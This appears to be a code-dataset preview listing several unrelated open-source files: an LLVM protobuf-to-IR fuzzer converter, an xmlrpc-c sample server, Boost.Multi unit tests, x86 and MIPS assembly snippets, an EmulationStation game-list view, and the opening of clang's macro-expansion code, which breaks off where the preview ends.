text
stringlengths
1
1.05M
//==-- loop_proto_to_llvm.cpp - Protobuf-C++ conversion //---------------------==// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // // Implements functions for converting between protobufs and LLVM IR. // // //===----------------------------------------------------------------------===// #include "loop_proto_to_llvm.h" #include "cxx_loop_proto.pb.h" #include "../handle-llvm/input_arrays.h" // The following is needed to convert protos in human-readable form #include <google/protobuf/text_format.h> #include <ostream> #include <sstream> namespace clang_fuzzer { // Forward decls std::string BinopToString(std::ostream &os, const BinaryOp &x); std::string StateSeqToString(std::ostream &os, const StatementSeq &x); // Counter variable to generate new LLVM IR variable names and wrapper function static std::string get_var() { static int ctr = 0; return "%var" + std::to_string(ctr++); } static bool inner_loop = false; class InnerLoop { public: InnerLoop() { inner_loop = true; } ~InnerLoop() { inner_loop = false; } }; // Proto to LLVM. std::string ConstToString(const Const &x) { return std::to_string(x.val()); } std::string VarRefToString(std::ostream &os, const VarRef &x) { std::string which_loop = inner_loop ? "inner" : "outer"; std::string arr; switch(x.arr()) { case VarRef::ARR_A: arr = "%a"; break; case VarRef::ARR_B: arr = "%b"; break; case VarRef::ARR_C: arr = "%c"; break; } std::string ptr_var = get_var(); os << ptr_var << " = getelementptr inbounds i32, i32* " << arr << ", i64 %" << which_loop << "_ct\n"; return ptr_var; } std::string RvalueToString(std::ostream &os, const Rvalue &x) { if(x.has_cons()) return ConstToString(x.cons()); if(x.has_binop()) return BinopToString(os, x.binop()); if(x.has_varref()) { std::string var_ref = VarRefToString(os, x.varref()); std::string val_var = get_var(); os << val_var << " = load i32, i32* " << var_ref << "\n"; return val_var; } return "1"; } std::string BinopToString(std::ostream &os, const BinaryOp &x) { std::string left = RvalueToString(os, x.left()); std::string right = RvalueToString(os, x.right()); std::string op; switch (x.op()) { case BinaryOp::PLUS: op = "add"; break; case BinaryOp::MINUS: op = "sub"; break; case BinaryOp::MUL: op = "mul"; break; case BinaryOp::XOR: op = "xor"; break; case BinaryOp::AND: op = "and"; break; case BinaryOp::OR: op = "or"; break; // Support for Boolean operators will be added later case BinaryOp::EQ: case BinaryOp::NE: case BinaryOp::LE: case BinaryOp::GE: case BinaryOp::LT: case BinaryOp::GT: op = "add"; break; } std::string val_var = get_var(); os << val_var << " = " << op << " i32 " << left << ", " << right << "\n"; return val_var; } std::ostream &operator<<(std::ostream &os, const AssignmentStatement &x) { std::string rvalue = RvalueToString(os, x.rvalue()); std::string var_ref = VarRefToString(os, x.varref()); return os << "store i32 " << rvalue << ", i32* " << var_ref << "\n"; } std::ostream &operator<<(std::ostream &os, const Statement &x) { return os << x.assignment(); } std::ostream &operator<<(std::ostream &os, const StatementSeq &x) { for (auto &st : x.statements()) { os << st; } return os; } void NestedLoopToString(std::ostream &os, const LoopFunction &x) { os << "target triple = \"x86_64-unknown-linux-gnu\"\n" << "define void @foo(i32* %a, i32* %b, i32* noalias %c, i64 %s) {\n" << "outer_loop_start:\n" << "%cmp = icmp sgt i64 %s, 0\n" << "br i1 %cmp, label %inner_loop_start, label %end\n" << "outer_loop:\n" << x.outer_statements() << "%o_ct_new = add i64 %outer_ct, 1\n" << "%jmp_outer = icmp eq i64 %o_ct_new, %s\n" << "br i1 %jmp_outer, label %end, label %inner_loop_start\n" << "inner_loop_start:\n" << "%outer_ct = phi i64 [%o_ct_new, %outer_loop], [0, %outer_loop_start]\n" << "br label %inner_loop\n" << "inner_loop:\n" << "%inner_ct = phi i64 [0, %inner_loop_start], [%i_ct_new, %inner_loop]\n"; { InnerLoop IL; os << x.inner_statements(); } os << "%i_ct_new = add i64 %inner_ct, 1\n" << "%jmp_inner = icmp eq i64 %i_ct_new, %s\n" << "br i1 %jmp_inner, label %outer_loop, label %inner_loop, !llvm.loop !0\n" << "end:\n" << "ret void\n" << "}\n" << "!0 = distinct !{!0, !1, !2}\n" << "!1 = !{!\"llvm.loop.vectorize.enable\", i1 true}\n" << "!2 = !{!\"llvm.loop.vectorize.width\", i32 " << kArraySize << "}\n"; } void SingleLoopToString(std::ostream &os, const LoopFunction &x) { os << "target triple = \"x86_64-unknown-linux-gnu\"\n" << "define void @foo(i32* %a, i32* %b, i32* noalias %c, i64 %s) {\n" << "%cmp = icmp sgt i64 %s, 0\n" << "br i1 %cmp, label %start, label %end\n" << "start:\n" << "br label %loop\n" << "end:\n" << "ret void\n" << "loop:\n" << "%outer_ct = phi i64 [ %ctnew, %loop ], [ 0, %start ]\n" << x.outer_statements() << "%ctnew = add i64 %outer_ct, 1\n" << "%j = icmp eq i64 %ctnew, %s\n" << "br i1 %j, label %end, label %loop, !llvm.loop !0\n}\n" << "!0 = distinct !{!0, !1, !2}\n" << "!1 = !{!\"llvm.loop.vectorize.enable\", i1 true}\n" << "!2 = !{!\"llvm.loop.vectorize.width\", i32 " << kArraySize << "}\n"; } std::ostream &operator<<(std::ostream &os, const LoopFunction &x) { if (x.has_inner_statements()) NestedLoopToString(os, x); else SingleLoopToString(os, x); return os; } // --------------------------------- std::string LoopFunctionToLLVMString(const LoopFunction &input) { std::ostringstream os; os << input; return os.str(); } std::string LoopProtoToLLVM(const uint8_t *data, size_t size) { LoopFunction message; if (!message.ParsePartialFromArray(data, size)) return "#error invalid proto\n"; return LoopFunctionToLLVMString(message); } } // namespace clang_fuzzer
#include <cassert> #include <stdexcept> #include <iostream> #ifdef WIN32 # include <windows.h> #else # include <unistd.h> #endif #include <xmlrpc-c/base.hpp> #include <xmlrpc-c/registry.hpp> #include <xmlrpc-c/server_abyss.hpp> using namespace std; #ifdef WIN32 #define SLEEP(seconds) SleepEx(seconds * 1000); #else #define SLEEP(seconds) sleep(seconds); #endif class sampleAddMethod : public xmlrpc_c::method { public: sampleAddMethod() { // signature and help strings are documentation -- the client // can query this information with a system.methodSignature and // system.methodHelp RPC. this->_signature = "i:ii"; // method's result and two arguments are integers this->_help = "This method adds two integers together"; } void execute(xmlrpc_c::paramList const& paramList, xmlrpc_c::value * const retvalP) { int const addend(paramList.getInt(0)); int const adder(paramList.getInt(1)); paramList.verifyEnd(2); *retvalP = xmlrpc_c::value_int(addend + adder); // Sometimes, make it look hard (so client can see what it's like // to do an RPC that takes a while). if (adder == 1) SLEEP(2); } }; int main(int const, const char ** const) { try { xmlrpc_c::registry myRegistry; xmlrpc_c::methodPtr const sampleAddMethodP(new sampleAddMethod); myRegistry.addMethod("sample.add", sampleAddMethodP); xmlrpc_c::serverAbyss myAbyssServer( myRegistry, 8080, // TCP port on which to listen "/tmp/xmlrpc_log" // Log file ); myAbyssServer.run(); // xmlrpc_c::serverAbyss.run() never returns assert(false); } catch (exception const& e) { cerr << "Something failed. " << e.what() << endl; } return 0; }
#ifdef COMPILATION// -*-indent-tabs-mode:t;c-basic-offset:4;tab-width:4-*- $CXX $CXXFLAGS $0 -o $0.$X -lboost_unit_test_framework&&$0.$X&&rm $0.$X;exit #endif // © Alfredo A. Correa 2018-2020 #define BOOST_TEST_MODULE "C++ Unit Tests for Multi select range" #define BOOST_TEST_DYN_LINK #include<boost/test/unit_test.hpp> #include "../array.hpp" namespace multi = boost::multi; BOOST_AUTO_TEST_CASE(multi_array_range_section_1D){ multi::array<double, 1> A = {00., 01., 02.}; (void)A; BOOST_REQUIRE( A == A(multi::all) ); BOOST_REQUIRE( size(A( 1 <= multi::all )) == 2 ); BOOST_REQUIRE( A( 1 <= multi::all )[0] == 1. ); BOOST_REQUIRE( size(A( multi::all < 2 )) == 2 ); BOOST_REQUIRE( A( multi::all < 2 )[1] == 1. ); } BOOST_AUTO_TEST_CASE(multi_array_range_section){ multi::array<double, 2> A = { {00., 01., 02.}, {10., 11., 12.}, {20., 21., 22.}, {30., 31., 32.}, }; BOOST_REQUIRE( size( A( multi::all, 2) ) == size(A) ); BOOST_REQUIRE( size( A( multi::_ , 2) ) == size(A) ); BOOST_REQUIRE( size( A( *multi::_ , 2) ) == size(A) ); BOOST_REQUIRE( size( A( multi::U , 2) ) == size(A) ); BOOST_REQUIRE( size( A( multi::all , 2) ) == 4 ); BOOST_REQUIRE( size( A( multi::all<2, 2) ) == 2 ); BOOST_REQUIRE( size( A(1<=multi::all , 2) ) == 3 ); // cppcheck-suppress compareBoolExpressionWithInt ; because DSL BOOST_REQUIRE( size( A(1<=multi::all<3, 2) ) == 2 ); BOOST_REQUIRE( size( A( multi::_ , 2) ) == 4 ); BOOST_REQUIRE( size( A( multi::_<2, 2) ) == 2 ); BOOST_REQUIRE( size( A(1<=multi::_ , 2) ) == 3 ); // cppcheck-suppress compareBoolExpressionWithInt ; because DSL BOOST_REQUIRE( size( A(1<=multi::_<3, 2) ) == 2 ); using multi::_; BOOST_REQUIRE( size( A( _ , 2) ) == 4 ); BOOST_REQUIRE( size( A( _<2, 2) ) == 2 ); BOOST_REQUIRE( size( A(1<=_ , 2) ) == 3 ); // cppcheck-suppress compareBoolExpressionWithInt ; because DSL BOOST_REQUIRE( size( A(1<=_<3, 2) ) == 2 ); using multi::U; BOOST_REQUIRE( size( A(_, 2) ) == size(A) ); BOOST_REQUIRE( size( A(*_, 2) ) == size(A) ); BOOST_REQUIRE( size( A(_<2, 2) ) == 2 ); BOOST_REQUIRE( size( A(*_<2, 2) ) == 2 ); BOOST_REQUIRE( size( A(U<2, 2) ) == 2 ); BOOST_REQUIRE( size( A(1<=_, 2) ) == 3 ); BOOST_REQUIRE( size( A(1<=*_, 2) ) == 3 ); BOOST_REQUIRE( size( A(1<=U, 2) ) == 3 ); // cppcheck-suppress compareBoolExpressionWithInt ; because DSL BOOST_REQUIRE( size( A(1<=_<3, 2) ) == 2 ); // cppcheck-suppress compareBoolExpressionWithInt ; because DSL BOOST_REQUIRE( size( A(1<=*_<3, 2) ) == 2 ); // cppcheck-suppress compareBoolExpressionWithInt ; because DSL BOOST_REQUIRE( size( A(1<=U<3, 2) ) == 2 ); BOOST_REQUIRE( size( A(*_<2, 2) ) == 2 ); BOOST_REQUIRE( size( A(U<2, 2) ) == 2 ); BOOST_REQUIRE( size( A(A.extension(), 2) ) == size(A) ); auto&& col2( A(A.extension(0), 2) ); // select column #2 // same as A(extesion(A), 2) // same as A(A.extension(0), 2); // same as rotated(A)[2]; BOOST_REQUIRE( col2.size(0) == size(A) ); BOOST_REQUIRE( dimensionality(col2) == 1 ); BOOST_REQUIRE( size(col2) == size(A) ); BOOST_REQUIRE( col2.size() == size(A) ); BOOST_REQUIRE( stride(col2) == 3 ); BOOST_REQUIRE( col2[0] == 02. ); BOOST_REQUIRE( col2[1] == 12. ); BOOST_REQUIRE(( col2 == multi::array<double, 1>{02., 12., 22., 32.} )); BOOST_REQUIRE(( col2 == multi::array<double, 1>(rotated(A)[2]) )); BOOST_REQUIRE(( col2 == rotated(A)[2] )); BOOST_REQUIRE(( col2 == A(A.extension(0), 2) )); }
/* * Copyright 2018-2021 Mahdi Khanalizadeh * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ .intel_syntax noprefix .global linux_syscall6 linux_syscall6: push ebp push edi push esi push ebx mov eax, [esp+44] # arg7 -> # mov ebp, [esp+40] # arg6 -> arg6 mov edi, [esp+36] # arg5 -> arg5 mov esi, [esp+32] # arg4 -> arg4 mov edx, [esp+28] # arg3 -> arg3 mov ecx, [esp+24] # arg2 -> arg2 mov ebx, [esp+20] # arg1 -> arg1 int 0x80 pop ebx pop esi pop edi pop ebp ret
# STAMPA INVERSA DI UNA STRUCT LISTA .data lista: .word 4,4, 2,-1, 1,3, 3,1, 5,2 .text li $t0,0 li $t1,0 jal PR # chiamata ricorsiva li $v0,10 syscall PR: subi $sp,$sp,12 # allocazione stack sw $ra,0($sp) sw $t0,4($sp) sw $t4,8($sp) addi $t1,$t0,1 # i++ sll $t2,$t0,2 # offset i sll $t3,$t1,2 # offset i++ lw $t4,lista($t2) # elemento i lw $t5,lista($t3) # elemento i++(prossimo indice) beq $t5,-1,casobase #se i++==-1 lista finita mul $t0,$t5,2 # i++*2 jal PR # chiamata ricorsiva li $v0,1 # stampa alla chiusura delle chiamate ricorsive move $a0,$t4 syscall li $v0,11 # stampa tab li $a0,'\t' syscall lw $ra,0($sp) lw $t0,4($sp) # ripristino stack lw $t4,8($sp) addi $sp,$sp,12 jr $ra casobase: # caso base li $v0,1 move $a0,$t4 syscall li $v0,11 li $a0,'\t' syscall lw $ra,0($sp) lw $t0,4($sp) lw $t4,8($sp) addi $sp,$sp,12 jr $ra
#include "views/gamelist/VideoGameListView.h" #include "views/ViewController.h" #include "Window.h" #include "animations/LambdaAnimation.h" #include <sys/stat.h> #include <fcntl.h> #ifdef _RPI_ #include "components/VideoPlayerComponent.h" #include "Settings.h" #endif #include "components/VideoVlcComponent.h" VideoGameListView::VideoGameListView(Window* window, FileData* root) : BasicGameListView(window, root), mDescContainer(window), mDescription(window), mMarquee(window), mImage(window), mVideo(nullptr), mVideoPlaying(false), mLblRating(window), mLblReleaseDate(window), mLblDeveloper(window), mLblPublisher(window), mLblGenre(window), mLblPlayers(window), mLblLastPlayed(window), mLblPlayCount(window), mRating(window), mReleaseDate(window), mDeveloper(window), mPublisher(window), mGenre(window), mPlayers(window), mLastPlayed(window), mPlayCount(window) { const float padding = 0.01f; // Create the correct type of video window #ifdef _RPI_ if (Settings::getInstance()->getBool("VideoOmxPlayer")) mVideo = new VideoPlayerComponent(window, ""); else mVideo = new VideoVlcComponent(window, getTitlePath()); #else mVideo = new VideoVlcComponent(window, getTitlePath()); #endif mList.setPosition(mSize.x() * (0.50f + padding), mList.getPosition().y()); mList.setSize(mSize.x() * (0.50f - padding), mList.getSize().y()); mList.setAlignment(TextListComponent<FileData*>::ALIGN_LEFT); mList.setCursorChangedCallback([&](const CursorState& state) { updateInfoPanel(); }); // Marquee mMarquee.setOrigin(0.5f, 0.5f); mMarquee.setPosition(mSize.x() * 0.25f, mSize.y() * 0.10f); mMarquee.setMaxSize(mSize.x() * (0.5f - 2*padding), mSize.y() * 0.18f); mMarquee.setDefaultZIndex(35); addChild(&mMarquee); // Image mImage.setOrigin(0.5f, 0.5f); // Default to off the screen mImage.setPosition(2.0f, 2.0f); mImage.setMaxSize(1.0f, 1.0f); mImage.setDefaultZIndex(30); addChild(&mImage); // video mVideo->setOrigin(0.5f, 0.5f); mVideo->setPosition(mSize.x() * 0.25f, mSize.y() * 0.4f); mVideo->setSize(mSize.x() * (0.5f - 2*padding), mSize.y() * 0.4f); mVideo->setDefaultZIndex(30); addChild(mVideo); // metadata labels + values mLblRating.setText("Rating: "); addChild(&mLblRating); addChild(&mRating); mLblReleaseDate.setText("Released: "); addChild(&mLblReleaseDate); addChild(&mReleaseDate); mLblDeveloper.setText("Developer: "); addChild(&mLblDeveloper); addChild(&mDeveloper); mLblPublisher.setText("Publisher: "); addChild(&mLblPublisher); addChild(&mPublisher); mLblGenre.setText("Genre: "); addChild(&mLblGenre); addChild(&mGenre); mLblPlayers.setText("Players: "); addChild(&mLblPlayers); addChild(&mPlayers); mLblLastPlayed.setText("Last played: "); addChild(&mLblLastPlayed); mLastPlayed.setDisplayMode(DateTimeComponent::DISP_RELATIVE_TO_NOW); addChild(&mLastPlayed); mLblPlayCount.setText("Times played: "); addChild(&mLblPlayCount); addChild(&mPlayCount); mDescContainer.setPosition(mSize.x() * padding, mSize.y() * 0.65f); mDescContainer.setSize(mSize.x() * (0.50f - 2*padding), mSize.y() - mDescContainer.getPosition().y()); mDescContainer.setAutoScroll(true); mDescContainer.setDefaultZIndex(40); addChild(&mDescContainer); mDescription.setFont(Font::get(FONT_SIZE_SMALL)); mDescription.setSize(mDescContainer.getSize().x(), 0); mDescContainer.addChild(&mDescription); initMDLabels(); initMDValues(); } VideoGameListView::~VideoGameListView() { delete mVideo; } void VideoGameListView::onThemeChanged(const std::shared_ptr<ThemeData>& theme) { BasicGameListView::onThemeChanged(theme); using namespace ThemeFlags; mMarquee.applyTheme(theme, getName(), "md_marquee", POSITION | ThemeFlags::SIZE | Z_INDEX | ROTATION); mImage.applyTheme(theme, getName(), "md_image", POSITION | ThemeFlags::SIZE | Z_INDEX | ROTATION); mVideo->applyTheme(theme, getName(), "md_video", POSITION | ThemeFlags::SIZE | ThemeFlags::DELAY | Z_INDEX | ROTATION); initMDLabels(); std::vector<TextComponent*> labels = getMDLabels(); assert(labels.size() == 8); const char* lblElements[8] = { "md_lbl_rating", "md_lbl_releasedate", "md_lbl_developer", "md_lbl_publisher", "md_lbl_genre", "md_lbl_players", "md_lbl_lastplayed", "md_lbl_playcount" }; for(unsigned int i = 0; i < labels.size(); i++) { labels[i]->applyTheme(theme, getName(), lblElements[i], ALL); } initMDValues(); std::vector<GuiComponent*> values = getMDValues(); assert(values.size() == 8); const char* valElements[8] = { "md_rating", "md_releasedate", "md_developer", "md_publisher", "md_genre", "md_players", "md_lastplayed", "md_playcount" }; for(unsigned int i = 0; i < values.size(); i++) { values[i]->applyTheme(theme, getName(), valElements[i], ALL ^ ThemeFlags::TEXT); } mDescContainer.applyTheme(theme, getName(), "md_description", POSITION | ThemeFlags::SIZE | Z_INDEX); mDescription.setSize(mDescContainer.getSize().x(), 0); mDescription.applyTheme(theme, getName(), "md_description", ALL ^ (POSITION | ThemeFlags::SIZE | ThemeFlags::ORIGIN | TEXT | ROTATION)); sortChildren(); } void VideoGameListView::initMDLabels() { using namespace Eigen; std::vector<TextComponent*> components = getMDLabels(); const unsigned int colCount = 2; const unsigned int rowCount = components.size() / 2; Vector3f start(mSize.x() * 0.01f, mSize.y() * 0.625f, 0.0f); const float colSize = (mSize.x() * 0.48f) / colCount; const float rowPadding = 0.01f * mSize.y(); for(unsigned int i = 0; i < components.size(); i++) { const unsigned int row = i % rowCount; Vector3f pos(0.0f, 0.0f, 0.0f); if(row == 0) { pos = start + Vector3f(colSize * (i / rowCount), 0, 0); }else{ // work from the last component GuiComponent* lc = components[i-1]; pos = lc->getPosition() + Vector3f(0, lc->getSize().y() + rowPadding, 0); } components[i]->setFont(Font::get(FONT_SIZE_SMALL)); components[i]->setPosition(pos); components[i]->setDefaultZIndex(40); } } void VideoGameListView::initMDValues() { using namespace Eigen; std::vector<TextComponent*> labels = getMDLabels(); std::vector<GuiComponent*> values = getMDValues(); std::shared_ptr<Font> defaultFont = Font::get(FONT_SIZE_SMALL); mRating.setSize(defaultFont->getHeight() * 5.0f, (float)defaultFont->getHeight()); mReleaseDate.setFont(defaultFont); mDeveloper.setFont(defaultFont); mPublisher.setFont(defaultFont); mGenre.setFont(defaultFont); mPlayers.setFont(defaultFont); mLastPlayed.setFont(defaultFont); mPlayCount.setFont(defaultFont); float bottom = 0.0f; const float colSize = (mSize.x() * 0.48f) / 2; for(unsigned int i = 0; i < labels.size(); i++) { const float heightDiff = (labels[i]->getSize().y() - values[i]->getSize().y()) / 2; values[i]->setPosition(labels[i]->getPosition() + Vector3f(labels[i]->getSize().x(), heightDiff, 0)); values[i]->setSize(colSize - labels[i]->getSize().x(), values[i]->getSize().y()); values[i]->setDefaultZIndex(40); float testBot = values[i]->getPosition().y() + values[i]->getSize().y(); if(testBot > bottom) bottom = testBot; } mDescContainer.setPosition(mDescContainer.getPosition().x(), bottom + mSize.y() * 0.01f); mDescContainer.setSize(mDescContainer.getSize().x(), mSize.y() - mDescContainer.getPosition().y()); } void VideoGameListView::updateInfoPanel() { FileData* file = (mList.size() == 0 || mList.isScrolling()) ? NULL : mList.getSelected(); boost::filesystem::remove(getTitlePath().c_str()); bool fadingOut; if(file == NULL) { mVideo->setVideo(""); mVideo->setImage(""); mVideoPlaying = false; //mMarquee.setImage(""); //mDescription.setText(""); fadingOut = true; }else{ std::string video_path; std::string marquee_path; std::string thumbnail_path; video_path = file->getVideoPath(); marquee_path = file->getMarqueePath(); thumbnail_path = file->getThumbnailPath(); if (!video_path.empty() && (video_path[0] == '~')) { video_path.erase(0, 1); video_path.insert(0, getHomePath()); } if (!marquee_path.empty() && (marquee_path[0] == '~')) { marquee_path.erase(0, 1); marquee_path.insert(0, getHomePath()); } if (!thumbnail_path.empty() && (thumbnail_path[0] == '~')) { thumbnail_path.erase(0, 1); thumbnail_path.insert(0, getHomePath()); } if (!mVideo->setVideo(video_path)) { mVideo->setDefaultVideo(); } mVideoPlaying = true; mVideo->setImage(thumbnail_path); mMarquee.setImage(marquee_path); mImage.setImage(thumbnail_path); mDescription.setText(file->metadata.get("desc")); mDescContainer.reset(); mRating.setValue(file->metadata.get("rating")); mReleaseDate.setValue(file->metadata.get("releasedate")); mDeveloper.setValue(file->metadata.get("developer")); mPublisher.setValue(file->metadata.get("publisher")); mGenre.setValue(file->metadata.get("genre")); mPlayers.setValue(file->metadata.get("players")); if(file->getType() == GAME) { mLastPlayed.setValue(file->metadata.get("lastplayed")); mPlayCount.setValue(file->metadata.get("playcount")); } fadingOut = false; } std::vector<GuiComponent*> comps = getMDValues(); comps.push_back(&mMarquee); comps.push_back(mVideo); comps.push_back(&mDescription); comps.push_back(&mImage); std::vector<TextComponent*> labels = getMDLabels(); comps.insert(comps.end(), labels.begin(), labels.end()); for(auto it = comps.begin(); it != comps.end(); it++) { GuiComponent* comp = *it; // an animation is playing // then animate if reverse != fadingOut // an animation is not playing // then animate if opacity != our target opacity if((comp->isAnimationPlaying(0) && comp->isAnimationReversed(0) != fadingOut) || (!comp->isAnimationPlaying(0) && comp->getOpacity() != (fadingOut ? 0 : 255))) { auto func = [comp](float t) { comp->setOpacity((unsigned char)(lerp<float>(0.0f, 1.0f, t)*255)); }; comp->setAnimation(new LambdaAnimation(func, 150), 0, nullptr, fadingOut); } } } void VideoGameListView::launch(FileData* game) { float screenWidth = Renderer::getScreenWidth(); float screenHeight = Renderer::getScreenHeight(); Eigen::Vector3f target(screenWidth / 2.0f, screenHeight / 2.0f, 0); if(mMarquee.hasImage() && (mMarquee.getPosition().x() < screenWidth && mMarquee.getPosition().x() > 0.0f && mMarquee.getPosition().y() < screenHeight && mMarquee.getPosition().y() > 0.0f)) { target << mMarquee.getCenter().x(), mMarquee.getCenter().y(), 0; } else if(mImage.hasImage() && (mImage.getPosition().x() < screenWidth && mImage.getPosition().x() > 2.0f && mImage.getPosition().y() < screenHeight && mImage.getPosition().y() > 2.0f)) { target << mImage.getCenter().x(), mImage.getCenter().y(), 0; } else if(mHeaderImage.hasImage() && (mHeaderImage.getPosition().x() < screenWidth && mHeaderImage.getPosition().x() > 0.0f && mHeaderImage.getPosition().y() < screenHeight && mHeaderImage.getPosition().y() > 0.0f)) { target << mHeaderImage.getCenter().x(), mHeaderImage.getCenter().y(), 0; } else if(mVideo->getPosition().x() < screenWidth && mVideo->getPosition().x() > 0.0f && mVideo->getPosition().y() < screenHeight && mVideo->getPosition().y() > 0.0f) { target << mVideo->getCenter().x(), mVideo->getCenter().y(), 0; } ViewController::get()->launch(game, target); } std::vector<TextComponent*> VideoGameListView::getMDLabels() { std::vector<TextComponent*> ret; ret.push_back(&mLblRating); ret.push_back(&mLblReleaseDate); ret.push_back(&mLblDeveloper); ret.push_back(&mLblPublisher); ret.push_back(&mLblGenre); ret.push_back(&mLblPlayers); ret.push_back(&mLblLastPlayed); ret.push_back(&mLblPlayCount); return ret; } std::vector<GuiComponent*> VideoGameListView::getMDValues() { std::vector<GuiComponent*> ret; ret.push_back(&mRating); ret.push_back(&mReleaseDate); ret.push_back(&mDeveloper); ret.push_back(&mPublisher); ret.push_back(&mGenre); ret.push_back(&mPlayers); ret.push_back(&mLastPlayed); ret.push_back(&mPlayCount); return ret; } void VideoGameListView::update(int deltaTime) { BasicGameListView::update(deltaTime); mVideo->update(deltaTime); } void VideoGameListView::onShow() { GuiComponent::onShow(); updateInfoPanel(); }
//===--- MacroExpansion.cpp - Top level Macro Expansion -------------------===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // // This file implements the top level handling of macro expansion for the // preprocessor. // //===----------------------------------------------------------------------===// #include "clang/Basic/Attributes.h" #include "clang/Basic/FileManager.h" #include "clang/Basic/IdentifierTable.h" #include "clang/Basic/LLVM.h" #include "clang/Basic/LangOptions.h" #include "clang/Basic/ObjCRuntime.h" #include "clang/Basic/SourceLocation.h" #include "clang/Basic/TargetInfo.h" #include "clang/Lex/CodeCompletionHandler.h" #include "clang/Lex/DirectoryLookup.h" #include "clang/Lex/ExternalPreprocessorSource.h" #include "clang/Lex/HeaderSearch.h" #include "clang/Lex/LexDiagnostic.h" #include "clang/Lex/MacroArgs.h" #include "clang/Lex/MacroInfo.h" #include "clang/Lex/Preprocessor.h" #include "clang/Lex/PreprocessorLexer.h" #include "clang/Lex/PTHLexer.h" #include "clang/Lex/Token.h" #include "llvm/ADT/ArrayRef.h" #include "llvm/ADT/DenseMap.h" #include "llvm/ADT/DenseSet.h" #include "llvm/ADT/FoldingSet.h" #include "llvm/ADT/None.h" #include "llvm/ADT/Optional.h" #include "llvm/ADT/SmallString.h" #include "llvm/ADT/SmallVector.h" #include "llvm/ADT/STLExtras.h" #include "llvm/ADT/StringRef.h" #include "llvm/ADT/StringSwitch.h" #include "llvm/Support/Casting.h" #include "llvm/Support/ErrorHandling.h" #include "llvm/Support/Format.h" #include "llvm/Support/raw_ostream.h" #include <algorithm> #include <cassert> #include <cstddef> #include <cstring> #include <ctime> #include <string> #include <tuple> #include <utility> using namespace clang; MacroDirective * Preprocessor::getLocalMacroDirectiveHistory(const IdentifierInfo *II) const { if (!II->hadMacroDefinition()) return nullptr; auto Pos = CurSubmoduleState->Macros.find(II); return Pos == CurSubmoduleState->Macros.end() ? nullptr : Pos->second.getLatest(); } void Preprocessor::appendMacroDirective(IdentifierInfo *II, MacroDirective *MD){ assert(MD && "MacroDirective should be non-zero!"); assert(!MD->getPrevious() && "Already attached to a MacroDirective history."); MacroState &StoredMD = CurSubmoduleState->Macros[II]; auto *OldMD = StoredMD.getLatest(); MD->setPrevious(OldMD); StoredMD.setLatest(MD); StoredMD.overrideActiveModuleMacros(*this, II); if (needModuleMacros()) { // Track that we created a new macro directive, so we know we should // consider building a ModuleMacro for it when we get to the end of // the module. PendingModuleMacroNames.push_back(II); } // Set up the identifier as having associated macro history. II->setHasMacroDefinition(true); if (!MD->isDefined() && LeafModuleMacros.find(II) == LeafModuleMacros.end()) II->setHasMacroDefinition(false); if (II->isFromAST()) II->setChangedSinceDeserialization(); } void Preprocessor::setLoadedMacroDirective(IdentifierInfo *II, MacroDirective *ED, MacroDirective *MD) { // Normally, when a macro is defined, it goes through appendMacroDirective() // above, which chains a macro to previous defines, undefs, etc. // However, in a pch, the whole macro history up to the end of the pch is // stored, so ASTReader goes through this function instead. // However, built-in macros are already registered in the Preprocessor // ctor, and ASTWriter stops writing the macro chain at built-in macros, // so in that case the chain from the pch needs to be spliced to the existing // built-in. assert(II && MD); MacroState &StoredMD = CurSubmoduleState->Macros[II]; if (auto *OldMD = StoredMD.getLatest()) { // shouldIgnoreMacro() in ASTWriter also stops at macros from the // predefines buffer in module builds. However, in module builds, modules // are loaded completely before predefines are processed, so StoredMD // will be nullptr for them when they're loaded. StoredMD should only be // non-nullptr for builtins read from a pch file. assert(OldMD->getMacroInfo()->isBuiltinMacro() && "only built-ins should have an entry here"); assert(!OldMD->getPrevious() && "builtin should only have a single entry"); ED->setPrevious(OldMD); StoredMD.setLatest(MD); } else { StoredMD = MD; } // Setup the identifier as having associated macro history. II->setHasMacroDefinition(true); if (!MD->isDefined() && LeafModuleMacros.find(II) == LeafModuleMacros.end()) II->setHasMacroDefinition(false); } ModuleMacro *Preprocessor::addModuleMacro(Module *Mod, IdentifierInfo *II, MacroInfo *Macro, ArrayRef<ModuleMacro *> Overrides, bool &New) { llvm::FoldingSetNodeID ID; ModuleMacro::Profile(ID, Mod, II); void *InsertPos; if (auto *MM = ModuleMacros.FindNodeOrInsertPos(ID, InsertPos)) { New = false; return MM; } auto *MM = ModuleMacro::create(*this, Mod, II, Macro, Overrides); ModuleMacros.InsertNode(MM, InsertPos); // Each overridden macro is now overridden by one more macro. bool HidAny = false; for (auto *O : Overrides) { HidAny |= (O->NumOverriddenBy == 0); ++O->NumOverriddenBy; } // If we were the first overrider for any macro, it's no longer a leaf. auto &LeafMacros = LeafModuleMacros[II]; if (HidAny) { LeafMacros.erase(std::remove_if(LeafMacros.begin(), LeafMacros.end(), [](ModuleMacro *MM) { return MM->NumOverriddenBy != 0; }), LeafMacros.end()); } // The new macro is always a leaf macro. LeafMacros.push_back(MM); // The identifier now has defined macros (that may or may not be visible). II->setHasMacroDefinition(true); New = true; return MM; } ModuleMacro *Preprocessor::getModuleMacro(Module *Mod, IdentifierInfo *II) { llvm::FoldingSetNodeID ID; ModuleMacro::Profile(ID, Mod, II); void *InsertPos; return ModuleMacros.FindNodeOrInsertPos(ID, InsertPos); } void Preprocessor::updateModuleMacroInfo(const IdentifierInfo *II, ModuleMacroInfo &Info) { assert(Info.ActiveModuleMacrosGeneration != CurSubmoduleState->VisibleModules.getGeneration() && "don't need to update this macro name info"); Info.ActiveModuleMacrosGeneration = CurSubmoduleState->VisibleModules.getGeneration(); auto Leaf = LeafModuleMacros.find(II); if (Leaf == LeafModuleMacros.end()) { // No imported macros at all: nothing to do. return; } Info.ActiveModuleMacros.clear(); // Every macro that's locally overridden is overridden by a visible macro. llvm::DenseMap<ModuleMacro *, int> NumHiddenOverrides; for (auto *O : Info.OverriddenMacros) NumHiddenOverrides[O] = -1; // Collect all macros that are not overridden by a visible 